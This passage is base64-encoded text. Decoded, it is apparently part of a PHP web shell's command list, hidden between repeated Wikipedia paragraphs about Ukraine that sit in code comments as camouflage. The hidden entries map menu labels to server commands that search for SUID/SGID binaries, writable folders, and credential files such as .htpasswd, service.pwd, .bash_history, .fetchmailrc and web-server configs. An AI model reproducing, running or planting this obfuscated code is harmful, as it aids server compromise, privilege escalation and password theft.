oIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KICAJCSJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogIAkJImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogIAkJImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKCQkiTG9jYXRlIiA9PiAiIiwKICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKCQkibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRl